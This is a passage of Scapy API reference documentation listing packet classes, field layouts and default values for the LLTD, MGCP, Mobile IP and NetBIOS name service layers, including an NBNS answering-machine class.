
LLTDQueryLargeTlvResp fields






	flags

	FlagsField

	<Flag 0 ()>



	len

	BitField  (14 bits)

	None



	value

	StrLenField

	b''











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/lltd.py#L262-L265]

	




	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/lltd.py#L253-L260]

	








	
class scapy.layers.lltd.LLTDQueryResp(_pkt, /, *, flags=<Flag 0 ()>, descs_count=None, descs_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/lltd.py#L202-L223]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|FLA|        DESCS COUNT        |           DESCS LIST          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. LLTDQueryResp                        


LLTDQueryResp fields






	flags

	FlagsField

	<Flag 0 ()>



	descs_count

	BitField  (14 bits)

	None



	descs_list

	PacketListField

	[]











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/lltd.py#L220-L223]

	




	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/lltd.py#L211-L218]

	








	
class scapy.layers.lltd.LLTDRecveeDesc(_pkt, /, *, type=0, real_src='00:00:00:00:00:00', ether_src='00:00:00:00:00:00', ether_dst='00:00:00:00:00:00')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/lltd.py#L192-L199]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |            REAL SRC           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           ETHER SRC                           |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           ETHER DST           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. LLTDRecveeDesc                        


LLTDRecveeDesc fields






	type

	ShortEnumField

	0



	real_src

	MACField

	'00:00:00:00:00:00'



	ether_src

	MACField

	'00:00:00:00:00:00'



	ether_dst

	MACField

	'00:00:00:00:00:00'











	
payload_guess

	Possible sublayers:
Padding










	
class scapy.layers.lltd.LargeTlvBuilder[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/lltd.py#L787-L843]

	Bases: object

An object to build content fetched through LLTDQueryLargeTlv /
LLTDQueryLargeTlvResp packets.

Usable with a PacketList() object:
>>> p = LargeTlvBuilder()
>>> p.parse(rdpcap(‘capture_file.cap’))

Or during a network capture:
>>> p = LargeTlvBuilder()
>>> sniff(filter=”ether proto 0x88d9”, prn=p.parse)

To get the result, use .get_data()


	
get_data()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/lltd.py#L836-L843]

	Returns a dictionary object, keys are strings “source >
destincation [content type]”, and values are the content
fetched, also as a string.






	
parse(plist)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/lltd.py#L807-L834]

	Update the builder using the provided plist. plist can
be either a Packet() or a PacketList().












            

          

      

      

    

  

    
      
          
            
  
scapy.layers.mgcp

MGCP (Media Gateway Control Protocol)

[RFC 2805]


	
class scapy.layers.mgcp.MGCP(_pkt, /, *, verb=b'AUEP', sep1=b' ', transaction_id=b'1234567', sep2=b' ', endpoint=b'dummy@dummy.net', sep3=b' ', version=b'MGCP 1.0 NCS 1.0', sep4=b'\n')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/mgcp.py#L17-L28]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              VERB             |      SEP1     | TRANSACTION ID|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |      SEP2     |            ENDPOINT           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      SEP3     |            VERSION            |      SEP4     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. MGCP                             


MGCP fields






	verb

	StrStopField

	b'AUEP'



	sep1

	StrFixedLenField

	b' '



	transaction_id

	StrStopField

	b'1234567'



	sep2

	StrFixedLenField

	b' '



	endpoint

	StrStopField

	b'dummy@dummy.net'



	sep3

	StrFixedLenField

	b' '



	version

	StrStopField

	b'MGCP 1.0 NCS 1.0'



	sep4

	StrFixedLenField

	b'\n'











	
longname = 'Media Gateway Control Protocol'

	










            

          

      

      

    

  

    
      
          
            
  
scapy.layers.mobileip

Mobile IP.


	
class scapy.layers.mobileip.MobileIP(_pkt, /, *, type=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/mobileip.py#L16-L18]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |
+-+-+-+-+-+-+-+-+

                          Fig. MobileIP                           


MobileIP fields






	type

	ByteEnumField

	1











	
payload_guess

	Possible sublayers:
MobileIPRRP, MobileIPRRQ, MobileIPTunnelData










	
class scapy.layers.mobileip.MobileIPRRP(_pkt, /, *, code=0, lifetime=180, homeaddr='0.0.0.0', haaddr='0.0.0.0', id=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/mobileip.py#L31-L37]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CODE     |            LIFETIME           |    HOMEADDR   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |     HAADDR    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |       ID      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. MobileIPRRP                         


MobileIPRRP fields






	code

	ByteField

	0



	lifetime

	ShortField

	180



	homeaddr

	IPField

	'0.0.0.0'



	haaddr

	IPField

	'0.0.0.0'



	id

	LongField

	0















	
class scapy.layers.mobileip.MobileIPRRQ(_pkt, /, *, flags=0, lifetime=180, homeaddr='0.0.0.0', haaddr='0.0.0.0', coaddr='0.0.0.0', id=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/mobileip.py#L21-L28]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     FLAGS     |            LIFETIME           |    HOMEADDR   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |     HAADDR    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |     COADDR    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |       ID      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. MobileIPRRQ                         


MobileIPRRQ fields






	flags

	XByteField

	0



	lifetime

	ShortField

	180



	homeaddr

	IPField

	'0.0.0.0'



	haaddr

	IPField

	'0.0.0.0'



	coaddr

	IPField

	'0.0.0.0'



	id

	LongField

	0















	
class scapy.layers.mobileip.MobileIPTunnelData(_pkt, /, *, nexthdr=4, res=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/mobileip.py#L40-L43]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    NEXTHDR    |              RES              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. MobileIPTunnelData                      


MobileIPTunnelData fields






	nexthdr

	ByteField

	4



	res

	ShortField

	0











	
payload_guess

	Possible sublayers:
IP












            

          

      

      

    

  

    
      
          
            
  
scapy.layers.netbios

NetBIOS over TCP/IP

[RFC 1001/1002]


	
class scapy.layers.netbios.NBNSHeader(_pkt, /, *, NAME_TRN_ID=0, RESPONSE=0, OPCODE=0, NM_FLAGS=<Flag 0 ()>, RCODE=0, QDCOUNT=0, ANCOUNT=0, NSCOUNT=0, ARCOUNT=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netbios.py#L114-L132]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          NAME TRN ID          |R| OPCODE|   NM FLAGS  | RCODE |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            QDCOUNT            |            ANCOUNT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            NSCOUNT            |            ARCOUNT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. NBNSHeader                          


NBNSHeader fields






	NAME_TRN_ID

	ShortField

	0



	RESPONSE

	BitField  (1 bit)

	0



	OPCODE

	BitField  (4 bits)

	0



	NM_FLAGS

	FlagsField

	<Flag 0 ()>



	RCODE

	BitField  (4 bits)

	0



	QDCOUNT

	ShortField

	0



	ANCOUNT

	ShortField

	0



	NSCOUNT

	ShortField

	0



	ARCOUNT

	ShortField

	0











	
payload_guess

	Possible sublayers:
NBNSNodeStatusRequest, NBNSNodeStatusResponse, NBNSQueryRequest, NBNSQueryResponse, NBNSRegistrationRequest, NBNSWackResponse










	
class scapy.layers.netbios.NBNSNodeStatusRequest(_pkt, /, *, QUESTION_NAME=b'*\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', SUFFIX=16705, NULL=0, QUESTION_TYPE=33, QUESTION_CLASS=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netbios.py#L197-L205]

	Bases: NBNSQueryRequest


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         QUESTION NAME                         |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |     SUFFIX    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |      NULL     |         QUESTION TYPE         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         QUESTION CLASS        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. NBNSNodeStatusRequest                    


NBNSNodeStatusRequest fields






	QUESTION_NAME

	NetBIOSNameField

	b'*\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'



	SUFFIX

	ShortEnumField

	16705



	NULL

	ByteField

	0



	QUESTION_TYPE

	ShortEnumField

	33



	QUESTION_CLASS

	ShortEnumField

	1











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netbios.py#L202-L205]

	








	
class scapy.layers.netbios.NBNSNodeStatusResponse(_pkt, /, *, RR_NAME=b'windows', SUFFIX=16705, NULL=0, RR_TYPE=33, RR_CLASS=1, TTL=0, RDLENGTH=83, NUM_NAMES=None, NODE_NAME=[<NBNSNodeStatusResponseService  |>], MAC_ADDRESS=None, STATISTICS=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netbios.py#L231-L253]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netbios.py#L249-L253]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RR NAME                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |     SUFFIX    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |      NULL     |            RR TYPE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            RR CLASS           |              TTL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            RDLENGTH           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   NUM NAMES   |           NODE NAME           |  MAC ADDRESS  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                   STATISTICS                  |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. NBNSNodeStatusResponse                    


NBNSNodeStatusResponse fields






	RR_NAME

	NetBIOSNameField

	b'windows'



	SUFFIX

	ShortEnumField

	16705



	NULL

	ByteField

	0



	RR_TYPE

	ShortEnumField

	33



	RR_CLASS

	ShortEnumField

	1



	TTL

	IntField

	0



	RDLENGTH

	ShortField

	83



	NUM_NAMES

	FieldLenField

	None



	NODE_NAME

	PacketListField

	[<NBNSNodeStatusResponseService  |>]



	MAC_ADDRESS

	SourceMACField

	None



	STATISTICS

	XStrFixedLenField

	b''















	
class scapy.layers.netbios.NBNSNodeStatusResponseService(_pkt, /, *, NETBIOS_NAME=b'WINDOWS         ', SUFFIX=0, NAME_FLAGS=4, UNUSED=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netbios.py#L214-L228]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netbios.py#L227-L228]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          NETBIOS NAME                         |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |     SUFFIX    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   NAME FLAGS  |     UNUSED    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. NBNSNodeStatusResponseService                


NBNSNodeStatusResponseService fields






	NETBIOS_NAME

	StrFixedLenField

	b'WINDOWS         '



	SUFFIX

	ByteEnumField

	0



	NAME_FLAGS

	ByteField

	4



	UNUSED

	ByteEnumField

	0















	
class scapy.layers.netbios.NBNSQueryRequest(_pkt, /, *, QUESTION_NAME=b'windows', SUFFIX=16705, NULL=0, QUESTION_TYPE=32, QUESTION_CLASS=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netbios.py#L137-L148]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         QUESTION NAME                         |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |     SUFFIX    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |      NULL     |         QUESTION TYPE         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         QUESTION CLASS        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. NBNSQueryRequest                       


NBNSQueryRequest fields






	QUESTION_NAME

	NetBIOSNameField

	b'windows'



	SUFFIX

	ShortEnumField

	16705



	NULL

	ByteField

	0



	QUESTION_TYPE

	ShortEnumField

	32



	QUESTION_CLASS

	ShortEnumField

	1











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netbios.py#L145-L148]

	








	
class scapy.layers.netbios.NBNSQueryResponse(_pkt, /, *, RR_NAME=b'windows', SUFFIX=16705, NULL=0, QUESTION_TYPE=32, QUESTION_CLASS=1, TTL=300000, RDLENGTH=None, ADDR_ENTRY=[<NBNS_ADD_ENTRY  |>])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netbios.py#L168-L188]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RR NAME                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |     SUFFIX    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |      NULL     |         QUESTION TYPE         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         QUESTION CLASS        |              TTL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            RDLENGTH           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ADDR ENTRY          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. NBNSQueryResponse                      


NBNSQueryResponse fields






	RR_NAME

	NetBIOSNameField

	b'windows'



	SUFFIX

	ShortEnumField

	16705



	NULL

	ByteField

	0



	QUESTION_TYPE

	ShortEnumField

	32



	QUESTION_CLASS

	ShortEnumField

	1



	TTL

	IntField

	300000



	RDLENGTH

	FieldLenField

	None



	ADDR_ENTRY

	PacketListField

	[<NBNS_ADD_ENTRY  |>]











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netbios.py#L182-L188]

	








	
class scapy.layers.netbios.NBNSRegistrationRequest(_pkt, /, *, QUESTION_NAME=b'Windows', SUFFIX=16705, NULL=0, QUESTION_TYPE=32, QUESTION_CLASS=1, RR_NAME=49164, RR_TYPE=32, RR_CLASS=1, TTL=0, RDLENGTH=6, G=0, OWNER_NODE_TYPE=0, UNUSED=0, NB_ADDRESS='127.0.0.1')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netbios.py#L262-L283]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         QUESTION NAME                         |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |     SUFFIX    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |      NULL     |         QUESTION TYPE         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         QUESTION CLASS        |            RR NAME            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            RR TYPE            |            RR CLASS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              TTL                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            RDLENGTH           |G|OWN|          UNUSED         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           NB ADDRESS                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. NBNSRegistrationRequest                   


NBNSRegistrationRequest fields






	QUESTION_NAME

	NetBIOSNameField

	b'Windows'



	SUFFIX

	ShortEnumField

	16705



	NULL

	ByteField

	0



	QUESTION_TYPE

	ShortEnumField

	32



	QUESTION_CLASS

	ShortEnumField

	1



	RR_NAME

	ShortEnumField

	49164



	RR_TYPE

	ShortEnumField

	32



	RR_CLASS

	ShortEnumField

	1



	TTL

	IntField

	0



	RDLENGTH

	ShortField

	6



	G

	BitEnumField

	0



	OWNER_NODE_TYPE

	BitEnumField

	0



	UNUSED

	BitEnumField

	0



	NB_ADDRESS

	IPField

	'127.0.0.1'











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netbios.py#L282-L283]

	








	
class scapy.layers.netbios.NBNSWackResponse(_pkt, /, *, RR_NAME=b'windows', SUFFIX=16705, NULL=0, RR_TYPE=32, RR_CLASS=1, TTL=2, RDLENGTH=2, RDATA=10512)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netbios.py#L294-L303]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RR NAME                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |     SUFFIX    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |      NULL     |            RR TYPE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            RR CLASS           |              TTL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            RDLENGTH           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             RDATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. NBNSWackResponse                       


NBNSWackResponse fields






	RR_NAME

	NetBIOSNameField

	b'windows'



	SUFFIX

	ShortEnumField

	16705



	NULL

	ByteField

	0



	RR_TYPE

	ShortEnumField

	32



	RR_CLASS

	ShortEnumField

	1



	TTL

	IntField

	2



	RDLENGTH

	ShortField

	2



	RDATA

	BitField  (16 bits)

	10512















	
class scapy.layers.netbios.NBNS_ADD_ENTRY(_pkt, /, *, G=0, OWNER_NODE_TYPE=0, UNUSED=0, NB_ADDRESS='127.0.0.1')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netbios.py#L158-L165]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|G|OWN|          UNUSED         |           NB ADDRESS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. NBNS_ADD_ENTRY                        


NBNS_ADD_ENTRY fields






	G

	BitEnumField

	0



	OWNER_NODE_TYPE

	BitEnumField

	0



	UNUSED

	BitEnumField

	0



	NB_ADDRESS

	IPField

	'127.0.0.1'















	
class scapy.layers.netbios.NBNS_am(self, server_name=None, from_ip=None, ip=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netbios.py#L383-L460]

	Bases: AnsweringMachine


	
filter: str | None = 'udp port 137 or 138'

	




	
function_name = 'nbnsd'

	




	
is_request(req)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netbios.py#L403-L419]

	




	
make_mailslot_ping_reply(req: Packet) → Packet[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netbios.py#L436-L460]

	




	
make_reply(req: Packet) → Packet[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/netbios.py#L421-L434]

	




	
optam0: Dict[str, Any]

	




	
optam1: Dict[str, Any]

	




	
optam2: Dict[str, Any]

	




	
optsend: Dict[str, Any]

	




	
optsniff: Dict[str, Any]

	




	
